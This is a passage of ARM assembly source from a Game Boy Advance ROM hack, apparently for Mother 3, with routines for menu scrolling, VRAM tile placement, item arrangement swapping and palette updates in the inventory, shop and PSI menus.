// This hack gets the number of items in any given menu
//=============================================================================================
.get_total_indexes:
push {r1-r2,lr}
ldr r1,=#0x201A288
ldrb r1,[r1,#0] //Get menu type
lsl r1,r1,#5
ldr r2,=#0x2016028
ldr r0,=#0x2DFA
add r0,r2,r0 //Get menu info array in RAM
add r1,r0,r1
ldrh r0,[r1,#0x8]
pop {r1-r2,pc}
//=============================================================================================
// This hack gets the number of items in a character's inventory
//=============================================================================================
.get_character_inventory_total_indexes:
push {r1,lr}
ldr r0,=#0x2016028
ldr r1,=#0x426C
add r0,r0,r1
ldrh r0,[r0,#0]
pop {r1,pc}
//=============================================================================================
// This hack gets the number of show-able items in any given menu
//=============================================================================================
.get_possible_indexes:
push {r1-r2,lr}
ldr r1,=#0x201A288
ldrb r1,[r1,#0] //Get menu type
lsl r1,r1,#5
ldr r2,=#0x2016028
ldr r0,=#0x2DFA
add r0,r2,r0 //Get menu info array in RAM
add r1,r0,r1
ldrh r0,[r1,#0xC]
pop {r1-r2,pc}
//=============================================================================================
// This hack gets the index of the currently selected item for any given menu
//=============================================================================================
.get_selected_index:
push {r1-r2,lr}
ldr r1,=#0x201A288
ldrb r1,[r1,#0] //Get menu type
lsl r1,r1,#5
ldr r2,=#0x2016028
ldr r0,=#0x2DFA
add r0,r2,r0 //Get menu info array in RAM
add r1,r0,r1
ldrh r0,[r1,#0xA]
pop {r1-r2,pc}
//=============================================================================================
// This hack sets the index of the currently selected item to a specific value.
// It returns in r0 the previous selected item value
//=============================================================================================
.set_selected_index:
push {r1-r3,lr}
mov r3,r0
ldr r1,=#0x201A288
ldrb r1,[r1,#0] //Get menu type
lsl r1,r1,#5
ldr r2,=#0x2016028
ldr r0,=#0x2DFA
add r0,r2,r0 //Get menu info array in RAM
add r1,r0,r1
ldrh r0,[r1,#0xA]
strh r3,[r1,#0xA]
pop {r1-r3,pc}
//=============================================================================================
// This hack gets the difference between the top index and the total amount of items
//=============================================================================================
.get_difference_top_total:
push {r1-r2,lr}
ldr r1,=#0x201A288
ldrb r1,[r1,#0] //Get menu type
lsl r1,r1,#5
ldr r2,=#0x2016028
ldr r0,=#0x2DFA
add r0,r2,r0 //Get menu info array in RAM
add r1,r0,r1
ldrh r0,[r1,#0xE] //Top index
ldrh r1,[r1,#0x8] //Total items
sub r0,r1,r0 //Total items - Top index
pop {r1-r2,pc}
//=============================================================================================
// This hack gets the height for printing in the inventory/withdrawing menu
//=============================================================================================
.get_inventory_height:
push {r0,lr}
bl .get_direction
cmp r0,#0
bne .get_inventory_height_descending
mov r2,#0x2
b .get_inventory_height_end
.get_inventory_height_descending:
mov r2,#0x9
.get_inventory_height_end:
pop {r0,pc}
//=============================================================================================
// This hack gets the height for printing in the equip submenu
//=============================================================================================
.get_equip_submenu_height:
push {r0,lr}
bl .get_direction_submenu
cmp r0,#0
bne .get_equip_submenu_height_descending
mov r2,#0x2
b .get_equip_submenu_height_end
.get_equip_submenu_height_descending:
mov r2,#0x9
.get_equip_submenu_height_end:
pop {r0,pc}
//=============================================================================================
// This hack gets the height for printing in the battle memoes menu
//=============================================================================================
.get_battle_memoes_height:
push {r0,lr}
bl .get_direction
cmp r0,#0
beq +
mov r0,#8
sub r0,r0,r6
add r2,r2,r0
+
pop {r0,pc}
//=============================================================================================
// This hack gets the height for printing in the memoes menu
//=============================================================================================
.get_memoes_height:
push {r0,lr}
bl .get_direction
cmp r0,#0
bne .get_memoes_height_descending
mov r2,#0x3
b .get_memoes_height_end
.get_memoes_height_descending:
mov r2,#0x9
.get_memoes_height_end:
pop {r0,pc}
//=============================================================================================
// This hack gets the height for printing in the shop menu
//=============================================================================================
.get_shop_height:
push {r0,lr}
bl .get_direction
cmp r0,#0
bne .get_shop_height_descending
mov r2,#0x2
b .get_shop_height_end
.get_shop_height_descending:
mov r2,#0x7
.get_shop_height_end:
pop {r0,pc}
//=============================================================================================
// This hack gets the color for the psi when printing in the psi menu. r0 is the input value
//=============================================================================================
.get_psi_usable:
lsl r0,r0,#0xA
cmp r0,#0
bge .psi_not_usable
mov r0,#0xF
b +
.psi_not_usable:
mov r0,#1
+
bx lr
//=============================================================================================
// This hack is called in order to change where everything is printed in VRAM. Based on 0x80487D4
//=============================================================================================
.new_print_vram_container:
push {r4,r5,lr}
add sp,#-4
str r0,[sp,#0]
ldr r4,=#0x201AEF8 //We avoid printing OAM entries...
ldr r0,=#0x76DC //Base code
add r5,r4,r0
ldrb r1,[r5,#0]
mov r0,#8
and r0,r1
cmp r0,#0
beq +
mov r0,r4
bl $8048878
mov r0,r4
bl $80489F8
mov r0,r4
bl $8048C5C
+
bl .load_remaining_strings_external
ldr r3,=#0x76D6
add r0,r4,r3
mov r2,#0
strb r1,[r0,#0]
add r3,#1
add r0,r4,r3
strb r2,[r0,#0]
lsl r1,r1,#0x18
cmp r1,#0
beq +
mov r0,r4
ldr r1,[sp,#0]
bl .print_vram //New code!
+
ldr r1,=#0x6C28
add r0,r4,r1
ldr r0,[r0,#0]
ldrb r1,[r0,#0x11]
cmp r1,#0
bne +
ldr r2,=#0x3004B00
ldrh r0,[r2,#0]
cmp r0,#0
beq +
ldr r3,=#0xFFFFF390
add r0,r4,r3
ldrb r0,[r0,#0]
cmp r0,#0
blt +
cmp r0,#2
ble .new_print_vram_container_inner
cmp r0,#4
bne +
.new_print_vram_container_inner:
strh r1,[r2,#0]
+
add sp,#4
pop {r4,r5,pc}
//=============================================================================================
// This hack moves the graphics for the Equip menu and the Status menu.
// It also makes the arrangements point to them
//=============================================================================================
.new_graphics_arrangements_movement_table:
dd $01A40204; dd $02A40105
.new_move_graphics_arrangements:
push {r4-r7,lr}
ldr r0,=#0x201A288
ldrb r0,[r0,#0]
lsr r0,r0,#1
lsl r0,r0,#2
ldr r1,=#.new_graphics_arrangements_movement_table
add r6,r1,r0 //Load how to move stuff, based upon the menu
ldr r7,=#0x600E800
ldrh r1,[r6,#2]
add r7,r7,r1 //Where to start
mov r5,#0 //Current entry
.new_move_graphics_arrangements_loop:
mov r4,#0 //Number of tiles to move
mov r1,r7
ldrh r3,[r1,#0] //Save starting tile
-
ldrh r0,[r1,#0] //Get how many tiles need to be moved
cmp r0,#0
beq +
add r4,#1
add r1,#2
b -
+
cmp r4,#0 //If nothing to copy, skip!
beq +
lsr r2,r5,#1 //Get where to put the graphics
lsl r2,r2,#11
mov r1,#1
and r1,r5
lsl r1,r1,#9
add r2,r2,r1
add r2,#0x20
push {r5-r7}
lsr r7,r2,#5 //Save starting tile number
lsl r0,r3,#5 //Get actual address
ldr r1,=#0x6008000 //Graphics start
add r0,r1,r0 //Source
add r1,r1,r2 //Target
mov r5,r0
mov r6,r1
lsl r2,r4,#3 //Number of words to copy
swi #0xC
mov r0,r5
mov r1,r6
mov r2,#4
lsl r2,r2,#8
add r0,r0,r2 //Copy the bottom as well
add r1,r1,r2
lsl r2,r4,#3 //Number of words to copy
swi #0xC
mov r0,r7 //New starting tile number
mov r1,r7
add r1,#0x20 //New bottom starting tile number
pop {r5-r7}
mov r2,r7 //Replace arrangements
mov r3,r7
add r3,#0x40
-
strh r0,[r2,#0]
strh r1,[r3,#0]
add r0,#1
add r1,#1
add r2,#2
add r3,#2
sub r4,#1
cmp r4,#0
bne -
+
ldrb r1,[r6,#0] //Number of entries
ldrb r2,[r6,#1]
lsl r2,r2,#7
add r7,r7,r2 //How much to add to the base arrangements
add r5,#1
cmp r5,r1
bne .new_move_graphics_arrangements_loop
pop {r4-r7,pc}
//=============================================================================================
// This hack gets the selected character's number.
//=============================================================================================
.new_get_menu_character_number:
push {r1-r3,lr}
mov r2,r0
ldr r1,=#0x2016028
mov r0,#0xB8
lsl r0,r0,#6
add r0,r0,r1
lsl r1,r2,#5
add r0,r0,r1
ldrh r0,[r0,#0xA]
bl $8054FE0
ldrb r0,[r0,#0]
pop {r1-r3,pc}
//=============================================================================================
// This hack changes the target vram address to whatever we want it to be.
// It uses the values found by new_get_empty_tiles
//=============================================================================================
.new_get_address:
ldr r1,[sp,#0x20+0x24]
cmp r0,r1 //If we're after a certain threshold (which depends on the menu), use the second address
blt +
ldr r1,[sp,#0x20+0x1C]
b .new_get_address_keep_going
+
ldr r1,[sp,#0x20+0x20]
.new_get_address_keep_going:
lsl r0,r0,#0x10
lsr r0,r0,#0xB
add r0,r0,r1
bx lr
//=============================================================================================
// This hack gets the tiles which will be empty
//=============================================================================================
//Table that dictates which menus are valid to read the empty buffer tiles of
.new_get_empty_tiles_valid:
dw $8CB7; dw $0000
//Table which dictates the limit value of a menu used to change the valid buffer tiles to the second ones
.new_get_empty_tiles_limit_values:
db $10; db $12; db $0F; db $FF; db $0F; db $10; db $FF; db $10
db $FF; db $FF; db $0D; db $0F; db $FF; db $FF; db $FF; db $0F
db $FF; db $FF; db $FF; db $FF; db $FF; db $FF; db $FF; db $FF
db $FF; db $FF; db $FF; db $FF; db $FF; db $FF; db $FF; db $FF
//Table that indicates which menus only use one line to the right instead of one to the left (safe) or two
.new_get_empty_tiles_types:
dw $80B7; dw $0000
.new_get_empty_tiles:
push {r4-r6,lr}
add sp,#-4
ldr r0,=#0x2016078
mov r1,#1
mov r2,#0
mov r3,#0
bl $8001378
ldr r1,=#0x201A288
ldr r3,=#.new_get_empty_tiles_valid
ldrh r2,[r3,#2]
ldrh r3,[r3,#0]
lsl r2,r2,#0x10
orr r3,r2
ldrb r2,[r1,#0]
mov r1,#1
lsl r1,r2
and r1,r3
cmp r1,#0
bne +
ldr r6,=#0x6008000
mov r0,r6
mov r1,r6
b .end_new_get_empty_tiles
+
mov r3,r0
add r3,#0x82
ldr r4,=#.new_get_empty_tiles_types //Determine if this is a right single column menu or not
ldrh r0,[r4,#2]
ldrh r4,[r4,#0]
lsl r0,r0,#0x10
orr r4,r0
mov r0,#1
lsl r0,r2
and r0,r4
cmp r0,#0
beq +
ldr r4,=#0xFFF00003 //Bitmap for occupied/not occupied zone when double columned
b .new_get_empty_tiles_gotten_type
+
ldr r4,=#0xFFF55557 //Bitmap for occupied/not occupied zone when single columned right
.new_get_empty_tiles_gotten_type:
mov r5,#0
ldr r6,=#.new_get_empty_tiles_limit_values
add r6,r6,r2
ldrb r6,[r6,#0]
cmp r2,#4
bne +
mov r0,r2
bl .new_get_menu_character_number //All characters in skills besides the PSI users use 0x10 as a base
cmp r0,#2
beq +
cmp r0,#4
beq +
add r6,#1
+
str r6,[sp,#0]
lsl r6,r6,#1
sub r6,#2
-
add r3,#0x80
ldrh r0,[r3,#0]
lsr r2,r0,#5
lsl r1,r2,#5
sub r1,r0,r1
mov r0,r2
ldr r2,[sp,#0]
cmp r1,r2
blt +
mov r1,#1
orr r0,r1
+
mov r1,#1
lsl r1,r0
orr r4,r1 //Set the zone to occupied
ldsh r0,[r3,r6]
lsr r2,r0,#5
lsl r1,r2,#5
sub r1,r0,r1
mov r0,r2
ldr r2,[sp,#0]
cmp r1,r2
blt +
mov r1,#1
orr r0,r1
+
mov r1,#1
lsl r1,r0
orr r4,r1 //Set the zone to occupied
add r5,#1
cmp r5,#8
blt -
mov r5,#0 //Now get the free zones
mov r3,#0
mov r2,#0
mov r1,#0
-
mov r0,#1
lsl r0,r5
and r0,r4
cmp r0,#0
bne +
mov r2,r3
mov r3,r5
add r1,#1
+
add r5,#1
cmp r5,#0x20
bge +
cmp r1,#2
blt -
+
// r2 and r3 have our numbers
ldr r6,=#0x6008000
ldr r1,[sp,#0]
mov r5,#1
and r5,r2
sub r2,r2,r5
lsl r2,r2,#5
cmp r5,#1
bne +
orr r2,r1
+
lsl r2,r2,#5
add r0,r2,r6
mov r5,#1
and r5,r3
sub r3,r3,r5
lsl r3,r3,#5
cmp r5,#1
bne +
orr r3,r1
+
lsl r3,r3,#5
add r1,r3,r6
ldr r2,=#0x201A288
ldrb r3,[r2,#0]
ldr r4,=#.new_get_empty_tiles_limit_values
ldrb r2,[r4,r3]
cmp r3,#4
bne +
mov r4,r0
mov r0,r3
bl .new_get_menu_character_number //All characters in skills besides the PSI users use 0x10 as a base
mov r3,r0
mov r0,r4
cmp r3,#2
beq +
cmp r3,#4
beq +
add r2,#1
+
lsl r3,r2,#5
sub r1,r1,r3
.end_new_get_empty_tiles:
add sp,#4
pop {r4-r6,pc}
//=============================================================================================
// This hack negates VRAM printing for a frame
//=============================================================================================
.negate_printing:
ldr r0,=#0x20225D4 //Don't print this frame
ldrb r1,[r0,#0]
mov r2,#9
neg r2,r2
and r1,r2
strb r1,[r0,#0]
bx lr
//=============================================================================================
// This hack combines all the hacks above.
// It moves the arrangements around instead of re-printing everything.
// It only prints what needs to be printed.
//=============================================================================================
.up_down_scrolling_print:
push {lr}
add sp,#-0xC
bl .new_get_empty_tiles
str r2,[sp,#8]
str r0,[sp,#4]
str r1,[sp,#0]
bl .new_print_menu_up_down
ldr r4,=#0x201AEF8
mov r0,r4
bl $803E908
-
mov r0,#1
bl .new_print_vram_container
mov r0,r4
bl $803E908
ldr r0,=#0x2013040 //Check for two names with a total of 41+ letters on the same line.
ldrb r1,[r0,#2] //Max item name size is 21, so it's possible, but unlikely.
ldrb r2,[r0,#3] //At maximum 2 letters must be printed, so it's fast.
cmp r1,r2 //Can happen with (pickled veggie plate or jar of yummy pickles or saggittarius bracelet
bne - //or mole cricket brother) + bag of big city fries on the same line.
add sp,#0xC
pop {pc}
//=============================================================================================
// This hack combines all the hacks above.
// It moves the arrangements and the graphics around, then allows re-printing.
// It only prints what needs to be printed.
//=============================================================================================
.move_and_print:
push {lr}
bl .new_print_menu_up_down
pop {pc}
//=============================================================================================
// This hack combines all the hacks above.
// It moves the arrangements around instead of re-printing everything.
// It only prints what needs to be printed.
// This version takes pre-established free tiles instead of determining them on the fly
//=============================================================================================
.up_down_scrolling_print_no_get_empty_tiles:
push {lr}
add sp,#-0xC
str r2,[sp,#8]
str r0,[sp,#4]
str r1,[sp,#0]
bl .new_print_menu_up_down
ldr r4,=#0x201AEF8
mov r0,r4
bl $803E908
-
mov r0,#1
bl .new_print_vram_container
mov r0,r4
bl $803E908
ldr r0,=#0x2013040 //Check for two names with a total of 41+ letters on the same line.
ldrb r1,[r0,#2] //Max item name size is 21, so it's possible, but unlikely.
ldrb r2,[r0,#3] //At maximum 2 letters must be printed, so it's fast.
cmp r1,r2 //Can happen with (pickled veggie plate or jar of yummy pickles or saggittarius bracelet
bne - //or mole cricket brother) + bag of big city fries on the same line.
add sp,#0xC
pop {pc}
//=============================================================================================
// This hack combines all the hacks above.
// It moves the arrangements around instead of re-printing everything.
// It only prints what needs to be printed.
// This version takes pre-established free tiles instead of determining them on the fly
//=============================================================================================
.pressing_a_scrolling_print_no_get_empty_tiles:
push {lr}
add sp,#-0xC
str r2,[sp,#8]
str r0,[sp,#4]
str r1,[sp,#0]
bl .new_print_menu_a
ldr r4,=#0x201AEF8
mov r0,r4
bl $803E908
-
mov r0,#1
bl .new_print_vram_container
mov r0,r4
bl $803E908
ldr r0,=#0x2013040 //Check for two names with a total of 41+ letters on the same line.
ldrb r1,[r0,#2] //Max item name size is 21, so it's possible, but unlikely.
ldrb r2,[r0,#3] //At maximum 2 letters must be printed, so it's fast.
cmp r1,r2 //Can happen with (pickled veggie plate or jar of yummy pickles or saggittarius bracelet
bne - //or mole cricket brother) + bag of big city fries on the same line.
add sp,#0xC
pop {pc}
//=============================================================================================
// This hack swaps the arrangements in order to not re-print everything when removing/moving an item
//=============================================================================================
.new_generic_swap_arrangement:
push {r3-r6,lr}
mov r4,r0 //This has the selected index before anything was removed/moved.
//Using that covers the player selecting the last item and getting
//their cursor moved
ldr r5,=#0x2016978
bl .get_positions_lines_array
mov r6,r0
bl .get_possible_indexes
sub r3,r0,#1
cmp r4,r3 //Cover edge case
bge +
-
mov r0,r4 //Swap a single item's arrangement
bl .new_handle_selling_swap_arrangement
bl .new_general_swap_single_line
add r4,#1
cmp r4,r3
blt -
+
mov r0,r3
bl .new_handle_selling_swap_arrangement
bl .new_general_clear_final_line //Clear the last item's arrangement
pop {r3-r6,pc}
//=============================================================================================
// This hack copies an item's arrangements in order to not re-print everything when moving an item
//=============================================================================================
.new_generic_copy_arrangement:
push {r4-r7,lr}
mov r4,r0 //This has the selected index before anything was removed/moved.
//Using that covers the player selecting the last item and getting
//their cursor moved
mov r3,r1 //Put in r3 whether to copy from or to the item's arrangement
mov r7,r2 //Put in r7 the target
ldr r5,=#0x2016978
bl .get_positions_lines_array
mov r6,r0
mov r0,r4 //Copies a single item's arrangements from/to r7
mov r1,r3
mov r2,r7
bl .new_general_copy_single_line
pop {r4-r7,pc}
//=============================================================================================
// This hack handles the selling special case
//=============================================================================================
.new_handle_selling_swap_arrangement:
push {lr}
ldr r1,=#0x201A288
ldrb r1,[r1,#0]
cmp r1,#0xB
bne +
lsl r0,r0,#1
add r0,#1
+
pop {pc}
//=============================================================================================
// This hack swaps the deposit arrangements in order to not re-print everything when depositing an item.
// It also handles the inventory arrangements swapping
//=============================================================================================
.new_inventory_deposit_swap_arrangement:
push {lr}
ldr r0,[r0,#0x8]
bl .new_generic_swap_arrangement
pop {pc}
//=============================================================================================
// This hack copies one line of inventory's arrangements in order to not re-print everything when moving an item.
//=============================================================================================
.new_inventory_copy_arrangement:
push {lr}
ldr r0,[r0,#0x8]
bl .new_generic_copy_arrangement
pop {pc}
//=============================================================================================
// This hack swaps the withdraw arrangements in order to not re-print everything when withdrawing an item
//=============================================================================================
.new_withdraw_swap_arrangement:
push {lr}
ldr r1,[r0,#4]
ldr r0,[r0,#8]
sub r0,r0,r1
bl .new_generic_swap_arrangement
pop {pc}
//=============================================================================================
// Hack that stores the flag that puts the arrangement buffer back to VRAM
//=============================================================================================
.store_arrangements_buffer:
push {r0-r5,lr}
mov r0,#0x0 //Order printing a blank tile
bl $80486A0 //Blank text, get the pointer to it
mov r5,#1
neg r5,r5
mov r4,#1
str r4,[sp,#0] //Gray text
mov r1,#0
mov r2,#0
mov r3,r5
bl $8047B9C //Order its printing
ldr r4,=#0x201AEF8
mov r0,r4
bl $803E908 //Print this to VRAM now!
bl $80487D4
mov r0,r4
bl $803E908
pop {r0-r5,pc}
//=============================================================================================
// Gets the array of the positions for swapping
// Order (reversed) is:
// Right side's position | Left side's position | Distance between right and lower left | Size
//=============================================================================================
.positions_swapping_array:
dd $10620220; dd $00000000; dd $00000000; dd $00000000
dd $00000000; dd $00000000; dd $00000000; dd $00000000
dd $00000000; dd $00000000; dd $00000000; dd $1080001E
dd $00000000; dd $00000000; dd $10620220; dd $0E64021E
dd $00000000; dd $00000000; dd $00000000; dd $00000000
dd $00000000; dd $00000000; dd $00000000; dd $00000000
dd $00000000; dd $00000000; dd $00000000; dd $00000000
dd $00000000; dd $00000000; dd $00000000; dd $00000000
.get_positions_lines_array:
ldr r1,=#.positions_swapping_array
ldr r0,=#0x201A288
ldrb r0,[r0,#0]
lsl r0,r0,#2
add r0,r1,r0
bx lr
//=============================================================================================
// Swaps a single item's arrangement
//=============================================================================================
.new_general_swap_single_line:
push {r3-r4,lr}
mov r2,#1
and r2,r0
lsr r0,r0,#1
lsl r0,r0,#7
cmp r2,#0
beq +
ldrb r2,[r6,#0]
+
add r1,r5,r0
add r1,r1,r2 //Get the arrangement address
mov r4,r1
cmp r2,#0
bne +
ldrb r2,[r6,#0]
add r0,r4,r2 //Branch for an item to the left
ldrb r2,[r6,#1]
add r1,r1,r2
ldrb r2,[r6,#3]
swi #0xB
add r4,#0x40
ldrb r2,[r6,#0]
add r0,r4,r2
ldrb r2,[r6,#1]
add r1,r4,r2
ldrb r2,[r6,#3]
swi #0xB
b .new_general_swap_single_line_end
+
ldrb r2,[r6,#2]
add r0,r4,r2 //Branch for an item to the right
ldrb r2,[r6,#3]
swi #0xB
add r4,#0x40
ldrb r2,[r6,#2]
add r0,r4,r2
mov r1,r4
ldrb r2,[r6,#3]
swi #0xB
.new_general_swap_single_line_end:
pop {r3-r4,pc}
//=============================================================================================
// Copies a single item's arrangement to a given address r2.
// r1 controls whether to copy to or copy from r2
//=============================================================================================
.new_general_copy_single_line:
push {r3-r7,lr}
add sp,#-0x10
mov r7,r2
mov r3,#1
and r3,r0
lsr r0,r0,#1
lsl r0,r0,#7
ldrb r2,[r6,#1]
cmp r3,#0
beq +
ldrb r2,[r6,#0] //Handle the right side differently
+
add r0,r5,r0
add r0,r0,r2 //Get the arrangement address
mov r2,#0x20 //Save the arrangement address and the target/source address on the stack
add r5,r7,r2 //This allows using a generic copying routine
mov r2,#0x40
add r2,r0,r2
cmp r1,#1
beq +
str r0,[sp,#0]
str r2,[sp,#4]
str r7,[sp,#8]
str r5,[sp,#0xC]
b .new_general_copy_single_line_start_copy
+
str r7,[sp,#0]
str r5,[sp,#4]
str r0,[sp,#8]
str r2,[sp,#0xC]
.new_general_copy_single_line_start_copy:
ldr r0,[sp,#0]
ldr r1,[sp,#8]
ldrb r2,[r6,#3]
swi #0xB
ldr r0,[sp,#4]
ldr r1,[sp,#0xC]
ldrb r2,[r6,#3]
swi #0xB
add sp,#0x10
pop {r3-r7,pc}
//=============================================================================================
// Clears the last item's arrangement
//=============================================================================================
.new_general_clear_final_line:
push {r4,lr}
mov r2,#1
lsr r0,r0,#1
lsl r0,r0,#7
cmp r2,#0
beq +
ldrb r2,[r6,#0]
+
add r1,r5,r0
add r1,r1,r2
mov r4,r1
mov r0,#0
push {r0}
mov r0,sp //Part that clears the top of the last item's arrangement
ldr r2,=#0x01000008
swi #0xC
add r4,#0x40
mov r0,sp
mov r1,r4 //Part that clears the bottom of the last item's arrangement
ldr r2,=#0x01000008
swi #0xC
pop {r0}
pop {r4,pc}
//=============================================================================================
// Prepares the withdraw inventory for swapping character. Based off of $804C39A.
// Removes the part that resets the cursor's position
//=============================================================================================
.prepare_swap_char_withdraw:
push {r4,lr}
ldr r2,=#0x2016028
ldr r0,=#0x4260
add r1,r2,r0
mov r3,#0
mov r0,#0xF
strb r0,[r1,#0] //Saves the fact that this is the withdrawing menu
ldr r0,=#0x2FE0
add r1,r2,r0
ldr r0,=#0x4264
add r2,r2,r0
ldrb r0,[r2,#0]
strh r0,[r1,#0xA] //Remove position resetting
ldrh r0,[r1,#0xA]
bl $8054FE0
mov r4,r0
bl $80524EC
mov r0,r4
bl $80531C8
pop {r4,pc}
//=============================================================================================
// Prepares the buying inventory for swapping character. Based off of $804C254.
// Removes the part that resets the cursor's position
//=============================================================================================
.prepare_swap_char_buying:
push {r4-r6,lr}
ldr r6,=#0x2016028
ldr r0,=#0x4260
add r1,r6,r0
mov r2,#0
mov r0,#0xA
strb r0,[r1,#0] //Saves the fact that this is the buying menu
mov r1,#0xBD
lsl r1,r1,#6
add r5,r6,r1
ldr r1,=#0x4264
add r0,r6,r1
ldrb r0,[r0,#0]
strh r0,[r5,#0xA] //Remove position resetting
ldrh r0,[r5,#0xA]
bl $8054FE0
mov r4,r0
bl $80524EC
mov r0,r4
bl $8052F9C
mov r0,#0x85
lsl r0,r0,#7
add r6,r6,r0
ldrh r0,[r6,#0]
strh r0,[r5,#2]
pop {r4-r6,pc}
//=============================================================================================
// This hack saves in r1 whether the game is still printing or not
//=============================================================================================
.check_if_printed:
push {r0,lr}
ldr r0,=#0x2013040 //Do the thing only IF we're done printing.
ldrh r1,[r0,#2] //Prevents issues with arrangements not being there
pop {r0,pc}
//=============================================================================================
// This hack saves in the stack the info used for printing stuff when things are removed/moved
//=============================================================================================
.store_menu_movement_data:
push {r0,lr}
bl main_menu_hacks.get_selected_index
str r0,[sp,#0x10]
bl main_menu_hacks.get_top_index
str r0,[sp,#0xC]
bl main_menu_hacks.get_total_indexes
str r0,[sp,#8]
pop {r0,pc}
//=============================================================================================
// This hack changes the palette for an item's arrangement that is stored in r0
//=============================================================================================
.change_palette:
push {r1-r5,lr}
mov r4,r0 //r4 = r0 = initial address
ldr r2,=#0x0FFF //r2 = 0xFFF, used to get the non-palette part
ldrh r1,[r0,#0]
mov r3,r1
and r1,r2
cmp r1,#0
beq .change_palette_end //If there is no item, stop here
mov r1,r3
mov r5,#0xF0
lsl r5,r5,#8
and r5,r1
mov r3,#0 //Get whether this was 0x8XXX or 0x0XXX
cmp r5,#0
bne +
mov r3,#0x80
lsl r3,r3,#8
+
mov r5,r3 //r5 now has either 0x0000 or 0x8000
mov r3,#0 //r3 is a counter used in order to avoid issues
-
ldrh r1,[r0,#0]
and r1,r2 //Pick the non-palette part
cmp r1,#0
beq + //If it's 0, proceed to the next step
orr r1,r5 //Otherwise, or it with the new palette
strh r1,[r0,#0] //and then store it
add r0,#2
add r3,#1 //Continue along
cmp r3,#0x10
blt -
+
mov r0,r4
add r0,#0x40 //Get the bottom address. Initial one + 0x40
mov r3,#0
-
ldrh r1,[r0,#0]
and r1,r2 //Pick the non-palette part
cmp r1,#0
beq + //If it's 0, proceed to the next step
orr r1,r5 //Otherwise, or it with the new palette
strh r1,[r0,#0] //and then store it
add r0,#2
add r3,#1 //Continue along
cmp r3,#0x10
blt -
+
.change_palette_end:
pop {r1-r5,pc}
//=============================================================================================
// This hack sets in r0 a bitmask of the currently valid options
// It takes r0 as the base address and r1 as the amount to check
//=============================================================================================
.get_valid_options:
push {r4-r6,lr}
mov r4,r0
mov r5,r1
mov r6,#0 //Counter
mov r0,#0 //Setup starting bitmask
cmp r5,#0x20 //In 4 bytes there are only 0x20 bits
bgt .get_valid_options_end
-
mov r2,#0
ldr r1,[r4,#0]
lsl r1,r1,#0xA //Check validity
cmp r1,#0
bge +
mov r2,#1
+
lsl r2,r6
orr r0,r2 //Set r6-th bit in bitmask to r2
add r4,#4
add r6,#1
cmp r5,r6
bgt -
.get_valid_options_end:
pop {r4-r6,pc}
//=============================================================================================
// This hack properly handles updating the old options for the shop menu
//=============================================================================================
.update_shop_valid_options:
push {r3,lr}
sub r3,r1,r2 //r1 contains the old selected index, r2 contains the old top index
mov r2,#0x20
sub r2,r2,r3
mov r1,r0 //Discard the bit of the old selected item and re-compact this
lsl r1,r2
lsr r1,r2
add r2,r3,#1
lsr r0,r2
lsl r0,r3
orr r0,r1
pop {r3,pc}
//=============================================================================================
// This hack gets the valid options for the certain menus
//=============================================================================================
.get_menu_valid_options:
push {r2,lr}
bl main_menu_hacks.get_added_value_menu_valid
ldr r1,=#0x2016028 //Prepare the address
add r1,r1,r2
bl main_menu_hacks.get_top_index
lsl r0,r0,#2 //Go to the proper first item on the screen
add r2,r1,r0
bl main_menu_hacks.get_possible_indexes
mov r1,r0 //Set the number of maximum items
mov r0,r2
bl main_menu_hacks.get_valid_options
pop {r2,pc}
//=============================================================================================
// This hack changes the palette for the options that changed validity in the shop menus
//=============================================================================================
.change_shop_options:
push {r4-r6,lr}
mov r4,r0 //Save in r4 what changed
mov r5,r1 //Arrangement start
mov r6,#1 //Number to and with
bl .get_possible_indexes
mov r3,r0 //Number of items in this menu
mov r1,#0 //Current index
-
mov r0,r6
and r0,r4
cmp r0,#0
beq +
lsl r0,r1,#7 //If this isn't 0, it changed...
add r0,r5,r0 //Prepare the corresponding arrangement address
bl main_menu_hacks.change_palette
+
add r1,#1
lsl r6,r6,#1 //Prepare to check the next bit
cmp r1,r3 //There are r3 items displayed top in this menu
blt -
pop {r4-r6,pc}
//=============================================================================================
// This hack changes the palette for the options that changed validity in the psi menu
//=============================================================================================
.change_psi_options:
push {r4-r6,lr}
mov r4,r0 //Save in r4 what changed
mov r5,r1 //Arrangement start
mov r6,#1 //Number to and with
bl .get_possible_indexes
mov r3,r0 //Number of items in this menu
mov r1,#0 //Current index
-
mov r0,r6
and r0,r4
cmp r0,#0
beq .change_psi_options_end_single
lsr r0,r1,#1 //If this isn't 0, it changed...
lsl r2,r0,#7
mov r0,#1
and r0,r1
cmp r0,#1
bne +
mov r0,#0x1C //Handle the right side
+
add r0,r0,r2
add r0,r5,r0 //Prepare the corresponding arrangement address
bl main_menu_hacks.change_palette
.change_psi_options_end_single:
add r1,#1
lsl r6,r6,#1 //Prepare to check the next bit
cmp r1,r3 //There are r3 items displayed top in this menu
blt -
pop {r4-r6,pc}
//=============================================================================================
// This hack removes an item and then prints a new one if need be
//=============================================================================================
.printing_pressed_a:
push {r4-r7,lr}
mov r7,r0
ldr r1,[r7,#0]
bl main_menu_hacks.get_total_indexes
cmp r0,r1 //Skip printing if we don't remove an item from the withdrawing menu
beq .printing_pressed_a_end
bl main_menu_hacks.get_possible_indexes
mov r1,r0
bl main_menu_hacks.get_difference_top_total
cmp r0,r1 //We'll need the free tiles if we have more than r1 items after the top one
blt +
bl main_menu_hacks.new_get_empty_tiles
mov r4,r0 //We need to get them now and to store them in order to avoid
mov r5,r1 //writing to a bunch of tiles that was just freed
mov r6,r2
+
//Move the items' arrangements around by one
mov r0,r7
bl main_menu_hacks.new_withdraw_swap_arrangement
bl main_menu_hacks.get_possible_indexes
mov r1,r0
bl main_menu_hacks.get_difference_top_total
cmp r0,r1 //If this is >= r1, then we need to print new stuff!
bge +
//If we don't need to print new stuff, just set buffer to be updated and end this here
mov r0,#1
b .printing_pressed_a_end_update
+
ldr r1,[r7,#4]
bl main_menu_hacks.get_top_index
cmp r0,r1 //Check if the top index changed between the A press and now...
beq +
//If it did, the menu position was moved up by one. We don't need to print new stuff at the bottom,
//but we'll need to print new stuff at the top (the top two new items) and to move everything down
//by one line. Luckily, up_down_scrolling_print_no_get_empty_tiles handles it for us.
//We'll just need to trick it into thinking the selected_index corresponds to the top one.
bl main_menu_hacks.set_selected_index
mov r2,r0
mov r0,r4
mov r1,r5
mov r5,r2 //Saves the old selected_index in r5 temporarily
mov r2,r6
bl main_menu_hacks.up_down_scrolling_print_no_get_empty_tiles
mov r0,r5 //Restores the old selected_index
bl main_menu_hacks.set_selected_index
b .printing_pressed_a_end
+
//If it didn't, we need to print one item at the bottom right
mov r1,r0
bl main_menu_hacks.get_possible_indexes
